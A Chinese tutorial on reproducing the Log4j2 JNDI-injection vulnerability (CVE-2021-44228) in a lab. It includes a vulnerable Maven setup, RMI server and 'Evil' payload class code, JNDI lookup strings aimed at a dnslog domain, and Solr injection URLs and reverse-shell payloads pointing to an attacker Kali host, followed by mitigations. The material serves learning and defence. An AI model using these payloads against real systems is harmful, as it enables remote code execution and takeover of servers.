【漏洞学习及复现】Log4j2(CVE-2021-44228)漏洞复现
Log4j2漏洞(CVE-2021-44228)
Log4j2
Apache Log4j2 是一个基于Java 的日志记录工具。该工具重写了 Log4j 框架,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。
由于Log4j2组件在处理程序日志记录时存在JNDI注入缺陷,未经授权的攻击者利用该漏洞,可向目标服务器发送精心构造的恶意数据,触发Log4j2组件解析缺陷,实现目标服务器的任意代码执行,获得目标服务器权限。
影响范围
- 2.0-beta9 <= Apache Log4j <= 2.3
- 2.4 <= Apache Log4j <= 2.12.1
- 2.13.0<= Apache Log4j <= 2.15.0-rc1
前置知识
Lookup
顾名思义,就是查找,在Log4j2中,日志输出时通过某种方式去查找要输出的内容。其本身是抽象的,相当于于一个接口,如何查找,查找什么东西,需要具体的模块去实现。
JNDI
NDI(Java Naming and Directory Interface,Java命名和目录接口)是SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。
简而言之,JNDI本身相当于字典的数据源,通过JNDI接口,传递一个name,从而获取对象。对于不同的数据源,也有不同的方法。
Lookup-JNDI
即Lookup的一种具体实现方式。
自Log4j 2.17.0起,JNDI操作要求将log4j2.enableJndiLookup=true设置为系统属性或相应的环境变量,以便此查找正常工作。请参阅enableJndiLookup系统属性。 JndiLookup允许通过JNDI检索变量。默认情况下,该键将以java:comp/env/作为前缀,但是如果该键包含“:“,则不会添加前缀。 JNDI查找仅支持java协议或不支持任何协议(如下例所示)。
<File name="Application" fileName="application.log">
<PatternLayout>
<pattern>%d %p %c{1.} [%t] $${jndi:logging/context-name} %m%n</pattern>
</PatternLayout>
</File>
LDAP
轻型目录访问协议(英文:Lightweight Directory Access Protocol,缩写:LDAP)是一个开放的,中立的,工业标准的应用协议,通过IP协议提供访问控制和维护分布式信息的目录信息。
RMI
RMI(Remote Method Invocation)是一种执行远程调用的Java API。RMI的目的是使在不同计算机上运行的对象(Object)之间的调用行为类似于本地调用。
在RMI机制中,服务器(Server)应实现一定的功能并将其注册到注册表(Registry)中,客户端(Client)应在注册表的命名空间(Naming space)中获取对象。
漏洞原理
用户的输入利用Lookup的方法,利用JNDI注入,达到攻击目的。
漏洞复现
导入Log4j2依赖
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>Log4j2_CVE-2021-44228</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<log4j.version>2.14.0</log4j.version>
</properties>
<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>${log4j.version}</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>${log4j.version}</version>
</dependency>
</dependencies>
</project>
创建RMIServer类,模拟注册中心
package com.huixin.rmi;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args){
try {
//在本地1099端口开启服务
LocateRegistry.createRegistry(1099);
Registry registry = LocateRegistry.getRegistry();
//输出创建成功语句
System.out.println("Create RMI Server on port 1099");
//在此服务上,绑定编写好的一个利用类
Reference reference = new Reference("com.huixin.rmi.Evil","com.huixin.rmi.Evil",null);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("evil",referenceWrapper);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}
创建利用类Evil
//用来模拟攻击行为
package com.huixin.rmi;
import java.io.IOException;
public class Evil {
static {
System.out.println(":)");
try {
Runtime.getRuntime().exec("calc ");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
创建模拟类Log4j2Test
package com.huixin;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class log4j2Test {
public static final Logger LOGGER = LogManager.getLogger();
public static void main(String[] args){
String username = "${java:os}";
String username1 = "${jndi:rmi://172.21.104.161:1099/evil}";
LOGGER.error("Hello,{}",username);
LOGGER.error("Hello,{}",username1);
}
}
运行结果
- 先启动RMIServer类,开启服务
- 再运行模拟类Log4j2Test
Vulhub复现
使用Ubuntu安装Docker和Docker-compose,一键搭建环境。
进入目录,输入指令创建环境。
当执行命令
docker-compose up -d
时提示PermissionError
,可通过以下方法解决: 此权限问题是因为默认情况下docker守护程序以root用户身份运行,而您是以非root用户身份运行的。要修复权限错误,请使用以下命令:sudo groupadd docker sudo usermod -aG docker $USER //然后注销并重新登陆即可
测试Dnslog
- 进入Dnslog.cn生成一个域名,构造注入payload
${jndi:ldap//b6onhv.dnslog.cn}
- 访问/admin/cores,注入payload
http://192.168.13.133:8983/solr/admin/cores?action=${jndi:ldap://b6onhv.dnslog.cn}
- 回到dnslog页面,刷新,观察解析记录
反弹shell连接
- 下载exp,放入kali
- 编写反弹shell,进行base64编码
- 利用工具,打包
- 编写payload,并在kaili机监听端口2810
${jndi:rmi://192.168.13.128:1099/uwo3ad}
${jndi:ldap://192.168.13.128:1389/uwo3ad}
- 注入,并观察kaili机监听端口
至此,结束整个流程。
修复方案
- 升级Apache Log4j2所有相关应用到最新版。
- 临时方案
- jvm中添加参数 -Dlog4j2.formatMsgNoLookups=true (版本>=2.10.0)
- 新建log4j2.component.properties文件,其中加上配置log4j2.formatMsgNoLookups=true (版本>=2.10.0)
- 设置系统环境变量:LOG4J_FORMAT_MSG_NO_LOOKUPS=true (版本>=2.10.0)
- 对于log4j2 < 2.10以下的版本,可以通过移除JndiLookup类的方式。